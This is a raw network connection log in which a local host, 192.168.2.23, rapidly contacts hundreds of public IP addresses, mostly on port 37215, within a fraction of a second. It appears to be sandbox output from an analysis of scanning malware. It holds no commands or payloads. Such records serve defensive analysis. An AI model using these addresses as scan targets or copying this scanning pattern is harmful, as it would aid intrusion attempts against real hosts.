Jul 20, 2024 23:00:59.153142929 CEST	34477	37215	192.168.2.23	41.199.40.1
Jul 20, 2024 23:00:59.153142929 CEST	34477	37215	192.168.2.23	1.28.31.16
Jul 20, 2024 23:00:59.153142929 CEST	34477	37215	192.168.2.23	194.75.145.99
Jul 20, 2024 23:00:59.153142929 CEST	34477	37215	192.168.2.23	89.126.192.25
Jul 20, 2024 23:00:59.153142929 CEST	34477	37215	192.168.2.23	41.6.66.150
Jul 20, 2024 23:00:59.153161049 CEST	37215	34477	54.106.44.123	192.168.2.23
Jul 20, 2024 23:00:59.153378010 CEST	37215	34477	41.27.52.170	192.168.2.23
Jul 20, 2024 23:00:59.153608084 CEST	34477	37215	192.168.2.23	41.222.85.16
Jul 20, 2024 23:00:59.153608084 CEST	34477	37215	192.168.2.23	197.250.134.7
Jul 20, 2024 23:00:59.153608084 CEST	33028	37215	192.168.2.23	197.218.184.30
Jul 20, 2024 23:00:59.153608084 CEST	34477	37215	192.168.2.23	41.15.120.161
Jul 20, 2024 23:00:59.153608084 CEST	53610	37215	192.168.2.23	41.178.183.186
Jul 20, 2024 23:00:59.153608084 CEST	49226	37215	192.168.2.23	41.124.14.171
Jul 20, 2024 23:00:59.153608084 CEST	34534	37215	192.168.2.23	157.86.250.128
Jul 20, 2024 23:00:59.153608084 CEST	34477	37215	192.168.2.23	197.55.37.167
Jul 20, 2024 23:00:59.153871059 CEST	37215	34477	157.23.64.183	192.168.2.23
Jul 20, 2024 23:00:59.153915882 CEST	37215	34477	197.233.113.25	192.168.2.23
Jul 20, 2024 23:00:59.154067039 CEST	50026	37215	192.168.2.23	197.213.172.133
Jul 20, 2024 23:00:59.154067039 CEST	59582	37215	192.168.2.23	41.138.150.155
Jul 20, 2024 23:00:59.154067039 CEST	47450	37215	192.168.2.23	143.28.80.1
Jul 20, 2024 23:00:59.154067039 CEST	57256	37215	192.168.2.23	157.43.107.32
Jul 20, 2024 23:00:59.154067039 CEST	34477	37215	192.168.2.23	221.47.64.146
Jul 20, 2024 23:00:59.154067993 CEST	52500	37215	192.168.2.23	197.58.83.134
Jul 20, 2024 23:00:59.154067993 CEST	43252	37215	192.168.2.23	72.152.128.124
Jul 20, 2024 23:00:59.154067993 CEST	34477	37215	192.168.2.23	197.124.1.161
Jul 20, 2024 23:00:59.154217958 CEST	37215	34477	197.236.109.95	192.168.2.23
Jul 20, 2024 23:00:59.154364109 CEST	37215	34477	143.24.243.255	192.168.2.23
Jul 20, 2024 23:00:59.154444933 CEST	37215	34477	197.88.121.56	192.168.2.23
Jul 20, 2024 23:00:59.154463053 CEST	37215	34477	41.96.53.112	192.168.2.23
Jul 20, 2024 23:00:59.154478073 CEST	37215	34477	197.230.101.11	192.168.2.23
Jul 20, 2024 23:00:59.154844999 CEST	37215	34477	41.154.136.96	192.168.2.23
Jul 20, 2024 23:00:59.154933929 CEST	37215	47490	157.211.128.165	192.168.2.23
Jul 20, 2024 23:00:59.155057907 CEST	37215	34477	18.54.13.187	192.168.2.23
Jul 20, 2024 23:00:59.155071020 CEST	37215	60312	41.73.125.205	192.168.2.23
Jul 20, 2024 23:00:59.155291080 CEST	34477	37215	192.168.2.23	73.30.190.208
Jul 20, 2024 23:00:59.155291080 CEST	34477	37215	192.168.2.23	41.44.162.210
Jul 20, 2024 23:00:59.155291080 CEST	34477	37215	192.168.2.23	157.111.31.43
Jul 20, 2024 23:00:59.155291080 CEST	34477	37215	192.168.2.23	41.77.1.123
Jul 20, 2024 23:00:59.155291080 CEST	34477	37215	192.168.2.23	157.122.111.109
Jul 20, 2024 23:00:59.155291080 CEST	34477	37215	192.168.2.23	41.30.66.244
Jul 20, 2024 23:00:59.155291080 CEST	34477	37215	192.168.2.23	41.209.213.136
Jul 20, 2024 23:00:59.155291080 CEST	34477	37215	192.168.2.23	157.237.246.49
Jul 20, 2024 23:00:59.155507088 CEST	37215	34477	157.35.27.124	192.168.2.23
Jul 20, 2024 23:00:59.155551910 CEST	37215	45076	41.126.20.80	192.168.2.23
Jul 20, 2024 23:00:59.155622005 CEST	34477	37215	192.168.2.23	41.65.34.67
Jul 20, 2024 23:00:59.155622005 CEST	34477	37215	192.168.2.23	157.38.222.134
Jul 20, 2024 23:00:59.155622005 CEST	34477	37215	192.168.2.23	157.91.154.220
Jul 20, 2024 23:00:59.155622005 CEST	34477	37215	192.168.2.23	157.208.192.253
Jul 20, 2024 23:00:59.155622005 CEST	34477	37215	192.168.2.23	197.137.52.79
Jul 20, 2024 23:00:59.155622005 CEST	34477	37215	192.168.2.23	115.72.208.26
Jul 20, 2024 23:00:59.155622005 CEST	34477	37215	192.168.2.23	148.153.203.37
Jul 20, 2024 23:00:59.155622005 CEST	34477	37215	192.168.2.23	197.158.10.108
Jul 20, 2024 23:00:59.155719995 CEST	37215	34477	197.110.100.42	192.168.2.23
Jul 20, 2024 23:00:59.156023979 CEST	37215	34477	157.194.83.103	192.168.2.23
Jul 20, 2024 23:00:59.156044006 CEST	37215	34477	41.119.241.12	192.168.2.23
Jul 20, 2024 23:00:59.156245947 CEST	37215	34477	157.253.97.86	192.168.2.23
Jul 20, 2024 23:00:59.156339884 CEST	37215	34477	41.157.48.35	192.168.2.23
Jul 20, 2024 23:00:59.156658888 CEST	80	59510	95.157.203.128	192.168.2.23
Jul 20, 2024 23:00:59.156694889 CEST	8081	36334	146.31.29.110	192.168.2.23
Jul 20, 2024 23:00:59.156724930 CEST	37215	34477	41.74.135.237	192.168.2.23
Jul 20, 2024 23:00:59.156826019 CEST	37215	34477	41.222.38.232	192.168.2.23
Jul 20, 2024 23:00:59.156929016 CEST	37215	34477	157.238.8.83	192.168.2.23
Jul 20, 2024 23:00:59.157011986 CEST	37215	34477	197.75.180.68	192.168.2.23
Jul 20, 2024 23:00:59.157444000 CEST	52632	37215	192.168.2.23	197.12.37.150
Jul 20, 2024 23:00:59.157444000 CEST	47996	37215	192.168.2.23	157.75.190.222
Jul 20, 2024 23:00:59.157444000 CEST	41416	37215	192.168.2.23	197.194.145.174
Jul 20, 2024 23:00:59.157444000 CEST	48482	37215	192.168.2.23	197.160.117.109
Jul 20, 2024 23:00:59.157444000 CEST	52842	37215	192.168.2.23	41.132.51.195
Jul 20, 2024 23:00:59.157444000 CEST	39010	37215	192.168.2.23	157.24.24.246
Jul 20, 2024 23:00:59.157444000 CEST	44268	37215	192.168.2.23	197.187.1.61
Jul 20, 2024 23:00:59.157444000 CEST	37038	37215	192.168.2.23	107.136.23.140
Jul 20, 2024 23:00:59.157881021 CEST	37215	34477	157.239.202.181	192.168.2.23
Jul 20, 2024 23:00:59.157928944 CEST	37215	34477	157.203.233.148	192.168.2.23
Jul 20, 2024 23:00:59.157959938 CEST	37215	34477	157.173.18.94	192.168.2.23
Jul 20, 2024 23:00:59.157996893 CEST	37215	34477	157.169.87.139	192.168.2.23
Jul 20, 2024 23:00:59.158092976 CEST	37215	34477	151.219.98.94	192.168.2.23
Jul 20, 2024 23:00:59.158130884 CEST	37215	53440	157.5.83.65	192.168.2.23
Jul 20, 2024 23:00:59.158277988 CEST	39054	37215	192.168.2.23	41.184.89.253
Jul 20, 2024 23:00:59.158277988 CEST	33262	37215	192.168.2.23	41.232.172.92
Jul 20, 2024 23:00:59.158277988 CEST	34477	37215	192.168.2.23	197.246.10.188
Jul 20, 2024 23:00:59.158277988 CEST	46354	37215	192.168.2.23	84.167.140.65
Jul 20, 2024 23:00:59.158278942 CEST	58944	37215	192.168.2.23	41.20.92.100
Jul 20, 2024 23:00:59.158278942 CEST	34477	37215	192.168.2.23	41.150.249.143
Jul 20, 2024 23:00:59.158278942 CEST	37060	37215	192.168.2.23	157.30.105.107
Jul 20, 2024 23:00:59.158278942 CEST	34477	37215	192.168.2.23	157.12.106.29
Jul 20, 2024 23:00:59.158485889 CEST	37215	34477	197.249.98.64	192.168.2.23
Jul 20, 2024 23:00:59.158598900 CEST	37215	34477	197.252.113.91	192.168.2.23
Jul 20, 2024 23:00:59.159204006 CEST	37215	55784	197.64.180.236	192.168.2.23
Jul 20, 2024 23:00:59.159252882 CEST	37215	34477	197.219.162.168	192.168.2.23
Jul 20, 2024 23:00:59.159282923 CEST	37215	34477	41.222.85.16	192.168.2.23
Jul 20, 2024 23:00:59.159341097 CEST	37215	36240	157.231.240.156	192.168.2.23
Jul 20, 2024 23:00:59.159373045 CEST	37215	34477	197.250.134.7	192.168.2.23
Jul 20, 2024 23:00:59.159401894 CEST	37215	50026	197.213.172.133	192.168.2.23
Jul 20, 2024 23:00:59.159454107 CEST	37215	34477	157.94.91.121	192.168.2.23
Jul 20, 2024 23:00:59.159482956 CEST	37215	33028	197.218.184.30	192.168.2.23
Jul 20, 2024 23:00:59.159557104 CEST	34477	37215	192.168.2.23	197.115.71.184
Jul 20, 2024 23:00:59.159557104 CEST	34477	37215	192.168.2.23	157.207.194.180
Jul 20, 2024 23:00:59.159557104 CEST	34477	37215	192.168.2.23	75.135.231.237
Jul 20, 2024 23:00:59.159557104 CEST	34477	37215	192.168.2.23	157.169.147.69
Jul 20, 2024 23:00:59.159557104 CEST	34477	37215	192.168.2.23	197.45.171.127
Jul 20, 2024 23:00:59.159557104 CEST	34477	37215	192.168.2.23	197.36.250.175
Jul 20, 2024 23:00:59.159558058 CEST	34477	37215	192.168.2.23	197.205.191.164
Jul 20, 2024 23:00:59.159558058 CEST	34477	37215	192.168.2.23	41.148.71.18
Jul 20, 2024 23:00:59.159703016 CEST	37215	34477	78.27.24.201	192.168.2.23
Jul 20, 2024 23:00:59.159755945 CEST	37215	59582	41.138.150.155	192.168.2.23
Jul 20, 2024 23:00:59.159785986 CEST	37215	34477	157.134.162.69	192.168.2.23
Jul 20, 2024 23:00:59.160465002 CEST	37215	34477	99.51.146.234	192.168.2.23
Jul 20, 2024 23:00:59.160557985 CEST	37215	53610	41.178.183.186	192.168.2.23
Jul 20, 2024 23:00:59.160587072 CEST	37215	47450	143.28.80.1	192.168.2.23
Jul 20, 2024 23:00:59.160659075 CEST	37215	34477	155.106.246.220	192.168.2.23
Jul 20, 2024 23:00:59.160687923 CEST	80	56156	95.170.196.15	192.168.2.23
Jul 20, 2024 23:00:59.160721064 CEST	8081	44222	95.74.8.198	192.168.2.23
Jul 20, 2024 23:00:59.160790920 CEST	37215	57256	157.43.107.32	192.168.2.23
Jul 20, 2024 23:00:59.161101103 CEST	37215	34477	41.44.162.210	192.168.2.23
Jul 20, 2024 23:00:59.161257982 CEST	37215	34477	157.21.62.146	192.168.2.23
Jul 20, 2024 23:00:59.161633968 CEST	37215	34477	157.181.171.226	192.168.2.23
Jul 20, 2024 23:00:59.161664009 CEST	37215	49226	41.124.14.171	192.168.2.23
Jul 20, 2024 23:00:59.161808014 CEST	37215	52500	197.58.83.134	192.168.2.23
Jul 20, 2024 23:00:59.161890984 CEST	34477	37215	192.168.2.23	71.203.247.56
Jul 20, 2024 23:00:59.161891937 CEST	35634	37215	192.168.2.23	197.19.12.241
Jul 20, 2024 23:00:59.161891937 CEST	41506	37215	192.168.2.23	157.139.2.14
Jul 20, 2024 23:00:59.161891937 CEST	32798	37215	192.168.2.23	157.71.150.37
Jul 20, 2024 23:00:59.161891937 CEST	34477	37215	192.168.2.23	197.103.118.184
Jul 20, 2024 23:00:59.161891937 CEST	34477	37215	192.168.2.23	157.30.178.43
Jul 20, 2024 23:00:59.161891937 CEST	34477	37215	192.168.2.23	143.172.232.120
Jul 20, 2024 23:00:59.161891937 CEST	52752	37215	192.168.2.23	157.176.101.215
Jul 20, 2024 23:00:59.161923885 CEST	37215	34477	157.15.153.91	192.168.2.23
Jul 20, 2024 23:00:59.162365913 CEST	37215	34534	157.86.250.128	192.168.2.23
Jul 20, 2024 23:00:59.163151979 CEST	37215	34477	157.111.31.43	192.168.2.23
Jul 20, 2024 23:00:59.163196087 CEST	37215	34477	41.77.1.123	192.168.2.23
Jul 20, 2024 23:00:59.163233995 CEST	37215	43252	72.152.128.124	192.168.2.23
Jul 20, 2024 23:00:59.163285971 CEST	37215	34477	165.98.155.117	192.168.2.23
Jul 20, 2024 23:00:59.163345098 CEST	37215	34477	175.74.56.65	192.168.2.23
Jul 20, 2024 23:00:59.163383961 CEST	37215	52632	197.12.37.150	192.168.2.23
Jul 20, 2024 23:00:59.163619041 CEST	43154	37215	192.168.2.23	197.252.90.201
Jul 20, 2024 23:00:59.163619041 CEST	45012	37215	192.168.2.23	157.20.27.216
Jul 20, 2024 23:00:59.163619041 CEST	52552	37215	192.168.2.23	157.113.160.230
Jul 20, 2024 23:00:59.163619041 CEST	50560	37215	192.168.2.23	157.213.175.190
Jul 20, 2024 23:00:59.163619041 CEST	56186	37215	192.168.2.23	157.159.217.82
Jul 20, 2024 23:00:59.163619041 CEST	38946	37215	192.168.2.23	67.15.208.48
Jul 20, 2024 23:00:59.163619041 CEST	33028	37215	192.168.2.23	197.218.184.30
Jul 20, 2024 23:00:59.163619041 CEST	53610	37215	192.168.2.23	41.178.183.186
Jul 20, 2024 23:00:59.163723946 CEST	37215	39054	41.184.89.253	192.168.2.23
Jul 20, 2024 23:00:59.163825989 CEST	34477	37215	192.168.2.23	197.88.99.3
Jul 20, 2024 23:00:59.163825989 CEST	34477	37215	192.168.2.23	197.92.155.242
Jul 20, 2024 23:00:59.163826942 CEST	34477	37215	192.168.2.23	197.147.104.254
Jul 20, 2024 23:00:59.163826942 CEST	34477	37215	192.168.2.23	197.231.181.253
Jul 20, 2024 23:00:59.163826942 CEST	34477	37215	192.168.2.23	202.172.124.151
Jul 20, 2024 23:00:59.163826942 CEST	34477	37215	192.168.2.23	197.243.55.93
Jul 20, 2024 23:00:59.163826942 CEST	34477	37215	192.168.2.23	48.30.214.20
Jul 20, 2024 23:00:59.163826942 CEST	34477	37215	192.168.2.23	212.153.59.116
Jul 20, 2024 23:00:59.163932085 CEST	34477	37215	192.168.2.23	65.236.186.174
Jul 20, 2024 23:00:59.163932085 CEST	34477	37215	192.168.2.23	41.104.57.47
Jul 20, 2024 23:00:59.163932085 CEST	34477	37215	192.168.2.23	41.228.165.27
Jul 20, 2024 23:00:59.163932085 CEST	34477	37215	192.168.2.23	4.169.160.4
Jul 20, 2024 23:00:59.163932085 CEST	34477	37215	192.168.2.23	151.119.141.235
Jul 20, 2024 23:00:59.163932085 CEST	34477	37215	192.168.2.23	41.16.243.31
Jul 20, 2024 23:00:59.163932085 CEST	34477	37215	192.168.2.23	197.178.68.50
Jul 20, 2024 23:00:59.163932085 CEST	34477	37215	192.168.2.23	162.248.125.253
Jul 20, 2024 23:00:59.164339066 CEST	34477	37215	192.168.2.23	197.95.199.46
Jul 20, 2024 23:00:59.164339066 CEST	34477	37215	192.168.2.23	197.123.228.129
Jul 20, 2024 23:00:59.164339066 CEST	34477	37215	192.168.2.23	168.215.79.229
Jul 20, 2024 23:00:59.164339066 CEST	34477	37215	192.168.2.23	197.181.175.154
Jul 20, 2024 23:00:59.164339066 CEST	34477	37215	192.168.2.23	50.225.35.150
Jul 20, 2024 23:00:59.164339066 CEST	34477	37215	192.168.2.23	216.117.189.117
Jul 20, 2024 23:00:59.164339066 CEST	34477	37215	192.168.2.23	41.104.243.109
Jul 20, 2024 23:00:59.164339066 CEST	34477	37215	192.168.2.23	200.34.145.49
Jul 20, 2024 23:00:59.164704084 CEST	37215	34477	157.122.111.109	192.168.2.23
Jul 20, 2024 23:00:59.164750099 CEST	37215	34477	41.65.34.67	192.168.2.23
Jul 20, 2024 23:00:59.164783001 CEST	37215	47996	157.75.190.222	192.168.2.23
Jul 20, 2024 23:00:59.164813042 CEST	37215	34477	41.30.66.244	192.168.2.23
Jul 20, 2024 23:00:59.164843082 CEST	37215	34477	197.136.36.0	192.168.2.23
Jul 20, 2024 23:00:59.164901972 CEST	37215	34477	157.164.244.13	192.168.2.23
Jul 20, 2024 23:00:59.164932966 CEST	8081	33258	85.16.45.188	192.168.2.23
Jul 20, 2024 23:00:59.164962053 CEST	80	38090	95.50.34.145	192.168.2.23
Jul 20, 2024 23:00:59.164966106 CEST	47490	37215	192.168.2.23	157.211.128.165
Jul 20, 2024 23:00:59.164966106 CEST	60312	37215	192.168.2.23	41.73.125.205
Jul 20, 2024 23:00:59.164966106 CEST	45076	37215	192.168.2.23	41.126.20.80
Jul 20, 2024 23:00:59.164966106 CEST	53440	37215	192.168.2.23	157.5.83.65
Jul 20, 2024 23:00:59.164966106 CEST	55784	37215	192.168.2.23	197.64.180.236
Jul 20, 2024 23:00:59.164966106 CEST	36240	37215	192.168.2.23	157.231.240.156
Jul 20, 2024 23:00:59.164966106 CEST	50026	37215	192.168.2.23	197.213.172.133
Jul 20, 2024 23:00:59.164966106 CEST	59582	37215	192.168.2.23	41.138.150.155
Jul 20, 2024 23:00:59.164992094 CEST	37215	34477	157.38.222.134	192.168.2.23
Jul 20, 2024 23:00:59.165080070 CEST	37215	34477	157.91.154.220	192.168.2.23
Jul 20, 2024 23:00:59.165116072 CEST	37215	34477	41.4.5.8	192.168.2.23
Jul 20, 2024 23:00:59.165802956 CEST	37215	34477	125.196.23.35	192.168.2.23
Jul 20, 2024 23:00:59.166002035 CEST	37215	34477	157.208.192.253	192.168.2.23
Jul 20, 2024 23:00:59.166557074 CEST	37215	33262	41.232.172.92	192.168.2.23
Jul 20, 2024 23:00:59.166608095 CEST	37215	34477	197.137.52.79	192.168.2.23
Jul 20, 2024 23:00:59.166641951 CEST	37215	34477	41.183.16.175	192.168.2.23
Jul 20, 2024 23:00:59.166672945 CEST	37215	34477	115.72.208.26	192.168.2.23
Jul 20, 2024 23:00:59.166702986 CEST	37215	34477	157.78.4.32	192.168.2.23
Jul 20, 2024 23:00:59.166733027 CEST	37215	41416	197.194.145.174	192.168.2.23
Jul 20, 2024 23:00:59.166763067 CEST	37215	48482	197.160.117.109	192.168.2.23
Jul 20, 2024 23:00:59.166831970 CEST	37215	46354	84.167.140.65	192.168.2.23
Jul 20, 2024 23:00:59.166862965 CEST	37215	34477	157.237.246.49	192.168.2.23
Jul 20, 2024 23:00:59.166894913 CEST	37215	52842	41.132.51.195	192.168.2.23
Jul 20, 2024 23:00:59.167088985 CEST	37215	34477	41.178.102.2	192.168.2.23
Jul 20, 2024 23:00:59.167236090 CEST	37215	34477	148.153.203.37	192.168.2.23
Jul 20, 2024 23:00:59.168401957 CEST	37215	34477	71.203.247.56	192.168.2.23
Jul 20, 2024 23:00:59.168435097 CEST	37215	58944	41.20.92.100	192.168.2.23
Jul 20, 2024 23:00:59.168523073 CEST	37215	39010	157.24.24.246	192.168.2.23
Jul 20, 2024 23:00:59.168554068 CEST	37215	35634	197.19.12.241	192.168.2.23
Jul 20, 2024 23:00:59.168569088 CEST	57488	37215	192.168.2.23	157.234.59.179
Jul 20, 2024 23:00:59.168569088 CEST	44702	37215	192.168.2.23	221.83.41.173
Jul 20, 2024 23:00:59.168569088 CEST	58398	37215	192.168.2.23	197.247.106.185
Jul 20, 2024 23:00:59.168569088 CEST	35840	37215	192.168.2.23	72.48.156.196
Jul 20, 2024 23:00:59.168569088 CEST	56512	37215	192.168.2.23	197.137.254.119
Jul 20, 2024 23:00:59.168569088 CEST	34477	37215	192.168.2.23	53.126.200.234
Jul 20, 2024 23:00:59.168569088 CEST	43828	37215	192.168.2.23	195.225.222.112
Jul 20, 2024 23:00:59.168569088 CEST	48142	37215	192.168.2.23	197.21.129.208
Jul 20, 2024 23:00:59.168582916 CEST	37215	44268	197.187.1.61	192.168.2.23
Jul 20, 2024 23:00:59.168612957 CEST	37215	34477	197.130.15.36	192.168.2.23
Jul 20, 2024 23:00:59.168665886 CEST	37215	41506	157.139.2.14	192.168.2.23
Jul 20, 2024 23:00:59.168695927 CEST	37215	37060	157.30.105.107	192.168.2.23
Jul 20, 2024 23:00:59.168725967 CEST	37215	37038	107.136.23.140	192.168.2.23
Jul 20, 2024 23:00:59.168754101 CEST	8081	36116	51.210.198.118	192.168.2.23
Jul 20, 2024 23:00:59.168992996 CEST	37215	34477	41.40.27.91	192.168.2.23
Jul 20, 2024 23:00:59.169049025 CEST	37215	34477	197.158.10.108	192.168.2.23
Jul 20, 2024 23:00:59.169079065 CEST	37215	34477	41.199.40.1	192.168.2.23
Jul 20, 2024 23:00:59.169112921 CEST	37215	34477	65.236.186.174	192.168.2.23
Jul 20, 2024 23:00:59.169447899 CEST	34477	37215	192.168.2.23	197.120.246.233
Jul 20, 2024 23:00:59.169447899 CEST	34477	37215	192.168.2.23	157.189.24.72
Jul 20, 2024 23:00:59.169447899 CEST	34477	37215	192.168.2.23	41.44.171.141
Jul 20, 2024 23:00:59.169447899 CEST	34477	37215	192.168.2.23	41.185.86.186
Jul 20, 2024 23:00:59.169447899 CEST	34477	37215	192.168.2.23	41.93.56.70
Jul 20, 2024 23:00:59.169447899 CEST	34477	37215	192.168.2.23	50.128.187.95
Jul 20, 2024 23:00:59.169447899 CEST	34477	37215	192.168.2.23	197.118.109.251
Jul 20, 2024 23:00:59.169447899 CEST	34477	37215	192.168.2.23	197.218.27.9
Jul 20, 2024 23:00:59.169861078 CEST	37215	34477	157.160.155.100	192.168.2.23
Jul 20, 2024 23:00:59.170161963 CEST	37215	34477	1.28.31.16	192.168.2.23
Jul 20, 2024 23:00:59.170207977 CEST	37215	34477	197.95.199.46	192.168.2.23
Jul 20, 2024 23:00:59.170217991 CEST	34477	37215	192.168.2.23	197.201.205.44
Jul 20, 2024 23:00:59.170217991 CEST	47450	37215	192.168.2.23	143.28.80.1
Jul 20, 2024 23:00:59.170217991 CEST	57256	37215	192.168.2.23	157.43.107.32
Jul 20, 2024 23:00:59.170217991 CEST	52500	37215	192.168.2.23	197.58.83.134
Jul 20, 2024 23:00:59.170218945 CEST	43252	37215	192.168.2.23	72.152.128.124
Jul 20, 2024 23:00:59.170218945 CEST	39054	37215	192.168.2.23	41.184.89.253
Jul 20, 2024 23:00:59.170218945 CEST	33262	37215	192.168.2.23	41.232.172.92
Jul 20, 2024 23:00:59.170218945 CEST	46354	37215	192.168.2.23	84.167.140.65
Jul 20, 2024 23:00:59.170239925 CEST	37215	34477	41.104.57.47	192.168.2.23
Jul 20, 2024 23:00:59.170300961 CEST	37215	43154	197.252.90.201	192.168.2.23
Jul 20, 2024 23:00:59.170331001 CEST	37215	32798	157.71.150.37	192.168.2.23
Jul 20, 2024 23:00:59.170361042 CEST	37215	34477	197.88.99.3	192.168.2.23
Jul 20, 2024 23:00:59.170615911 CEST	34477	37215	192.168.2.23	197.183.189.212
Jul 20, 2024 23:00:59.170617104 CEST	34477	37215	192.168.2.23	41.186.44.171
Jul 20, 2024 23:00:59.170617104 CEST	34477	37215	192.168.2.23	133.203.143.68
Jul 20, 2024 23:00:59.170617104 CEST	34477	37215	192.168.2.23	120.213.248.238
Jul 20, 2024 23:00:59.170617104 CEST	34477	37215	192.168.2.23	41.228.48.205
Jul 20, 2024 23:00:59.170617104 CEST	34477	37215	192.168.2.23	41.244.36.81
Jul 20, 2024 23:00:59.170617104 CEST	34477	37215	192.168.2.23	175.207.90.173
Jul 20, 2024 23:00:59.170937061 CEST	37215	34477	41.228.165.27	192.168.2.23
Jul 20, 2024 23:00:59.170984030 CEST	37215	45012	157.20.27.216	192.168.2.23
Jul 20, 2024 23:00:59.171001911 CEST	49226	37215	192.168.2.23	41.124.14.171
Jul 20, 2024 23:00:59.171003103 CEST	34534	37215	192.168.2.23	157.86.250.128
Jul 20, 2024 23:00:59.171003103 CEST	52632	37215	192.168.2.23	197.12.37.150
Jul 20, 2024 23:00:59.171003103 CEST	47996	37215	192.168.2.23	157.75.190.222
Jul 20, 2024 23:00:59.171003103 CEST	34477	37215	192.168.2.23	197.31.103.251
Jul 20, 2024 23:00:59.171003103 CEST	41416	37215	192.168.2.23	197.194.145.174
Jul 20, 2024 23:00:59.171003103 CEST	48482	37215	192.168.2.23	197.160.117.109
Jul 20, 2024 23:00:59.171003103 CEST	52842	37215	192.168.2.23	41.132.51.195
Jul 20, 2024 23:00:59.171413898 CEST	37215	34477	4.169.160.4	192.168.2.23
Jul 20, 2024 23:00:59.171979904 CEST	37215	52552	157.113.160.230	192.168.2.23
Jul 20, 2024 23:00:59.172025919 CEST	37215	34477	197.123.228.129	192.168.2.23
Jul 20, 2024 23:00:59.172060966 CEST	37215	34477	197.115.71.184	192.168.2.23
Jul 20, 2024 23:00:59.172246933 CEST	37215	34477	168.215.79.229	192.168.2.23
Jul 20, 2024 23:00:59.172280073 CEST	37215	34477	197.92.155.242	192.168.2.23
Jul 20, 2024 23:00:59.172538996 CEST	37215	34477	157.207.194.180	192.168.2.23
Jul 20, 2024 23:00:59.172672987 CEST	8081	58772	61.254.65.221	192.168.2.23
Jul 20, 2024 23:00:59.172702074 CEST	80	42306	95.106.65.7	192.168.2.23
Jul 20, 2024 23:00:59.172730923 CEST	37215	50560	157.213.175.190	192.168.2.23
Jul 20, 2024 23:00:59.172903061 CEST	37215	34477	75.135.231.237	192.168.2.23
Jul 20, 2024 23:00:59.172943115 CEST	34477	37215	192.168.2.23	41.65.253.57
Jul 20, 2024 23:00:59.172943115 CEST	44104	37215	192.168.2.23	41.123.176.91
Jul 20, 2024 23:00:59.172943115 CEST	50406	37215	192.168.2.23	157.51.198.43
Jul 20, 2024 23:00:59.172943115 CEST	43118	37215	192.168.2.23	197.65.44.128
Jul 20, 2024 23:00:59.172943115 CEST	56586	37215	192.168.2.23	41.244.190.175
Jul 20, 2024 23:00:59.172943115 CEST	34126	37215	192.168.2.23	157.77.213.179
Jul 20, 2024 23:00:59.172943115 CEST	39662	37215	192.168.2.23	216.40.91.1
Jul 20, 2024 23:00:59.172943115 CEST	44106	37215	192.168.2.23	197.114.117.243
Jul 20, 2024 23:00:59.173013926 CEST	37215	34477	197.181.175.154	192.168.2.23
Jul 20, 2024 23:00:59.173305035 CEST	37215	34477	194.75.145.99	192.168.2.23
Jul 20, 2024 23:00:59.173580885 CEST	37215	34477	50.225.35.150	192.168.2.23
Jul 20, 2024 23:00:59.173753977 CEST	37215	52752	157.176.101.215	192.168.2.23
Jul 20, 2024 23:00:59.173815012 CEST	37215	56186	157.159.217.82	192.168.2.23
Jul 20, 2024 23:00:59.174230099 CEST	37215	34477	216.117.189.117	192.168.2.23
Jul 20, 2024 23:00:59.174276114 CEST	37215	34477	89.126.192.25	192.168.2.23
Jul 20, 2024 23:00:59.174314976 CEST	37215	34477	41.6.66.150	192.168.2.23
Jul 20, 2024 23:00:59.174485922 CEST	37215	34477	151.119.141.235	192.168.2.23
Jul 20, 2024 23:00:59.174570084 CEST	37215	34477	41.104.243.109	192.168.2.23
Jul 20, 2024 23:00:59.174941063 CEST	37215	38946	67.15.208.48	192.168.2.23
Jul 20, 2024 23:00:59.175209045 CEST	37215	57488	157.234.59.179	192.168.2.23
Jul 20, 2024 23:00:59.175280094 CEST	37215	44702	221.83.41.173	192.168.2.23
Jul 20, 2024 23:00:59.175390005 CEST	37215	34477	197.120.246.233	192.168.2.23
Jul 20, 2024 23:00:59.175442934 CEST	34477	37215	192.168.2.23	197.114.49.208
Jul 20, 2024 23:00:59.175442934 CEST	34477	37215	192.168.2.23	197.26.40.47
Jul 20, 2024 23:00:59.175442934 CEST	34477	37215	192.168.2.23	157.199.78.169
Jul 20, 2024 23:00:59.175442934 CEST	34477	37215	192.168.2.23	183.216.240.28
Jul 20, 2024 23:00:59.175442934 CEST	34477	37215	192.168.2.23	157.226.230.108
Jul 20, 2024 23:00:59.175442934 CEST	34477	37215	192.168.2.23	157.89.212.27
Jul 20, 2024 23:00:59.175442934 CEST	34477	37215	192.168.2.23	41.220.149.121
Jul 20, 2024 23:00:59.175442934 CEST	34477	37215	192.168.2.23	37.52.227.200
Jul 20, 2024 23:00:59.175741911 CEST	37622	37215	192.168.2.23	196.108.213.184
Jul 20, 2024 23:00:59.175741911 CEST	58932	37215	192.168.2.23	157.211.77.112
Jul 20, 2024 23:00:59.175741911 CEST	39616	37215	192.168.2.23	157.134.191.30
Jul 20, 2024 23:00:59.175741911 CEST	35634	37215	192.168.2.23	197.19.12.241
Jul 20, 2024 23:00:59.175741911 CEST	41506	37215	192.168.2.23	157.139.2.14
Jul 20, 2024 23:00:59.175741911 CEST	32798	37215	192.168.2.23	157.71.150.37
Jul 20, 2024 23:00:59.175741911 CEST	52752	37215	192.168.2.23	157.176.101.215
Jul 20, 2024 23:00:59.175741911 CEST	57488	37215	192.168.2.23	157.234.59.179
Jul 20, 2024 23:00:59.176116943 CEST	37215	34477	200.34.145.49	192.168.2.23
Jul 20, 2024 23:00:59.176162958 CEST	58944	37215	192.168.2.23	41.20.92.100
Jul 20, 2024 23:00:59.176162958 CEST	37060	37215	192.168.2.23	157.30.105.107
Jul 20, 2024 23:00:59.176162958 CEST	34477	37215	192.168.2.23	51.130.70.126
Jul 20, 2024 23:00:59.176162958 CEST	34477	37215	192.168.2.23	189.181.166.107
Jul 20, 2024 23:00:59.176162958 CEST	34477	37215	192.168.2.23	41.169.212.248
Jul 20, 2024 23:00:59.176162958 CEST	34477	37215	192.168.2.23	197.143.253.97
Jul 20, 2024 23:00:59.176162958 CEST	34477	37215	192.168.2.23	197.232.234.120
Jul 20, 2024 23:00:59.176162958 CEST	34477	37215	192.168.2.23	41.41.154.37
Jul 20, 2024 23:00:59.176203966 CEST	37215	34477	157.169.147.69	192.168.2.23
Jul 20, 2024 23:00:59.176235914 CEST	37215	34477	157.189.24.72	192.168.2.23
Jul 20, 2024 23:00:59.176270962 CEST	37215	58398	197.247.106.185	192.168.2.23
Jul 20, 2024 23:00:59.176656008 CEST	80	60632	95.43.93.252	192.168.2.23
Jul 20, 2024 23:00:59.176688910 CEST	8081	47690	186.199.72.114	192.168.2.23
Jul 20, 2024 23:00:59.176726103 CEST	37215	34477	41.16.243.31	192.168.2.23
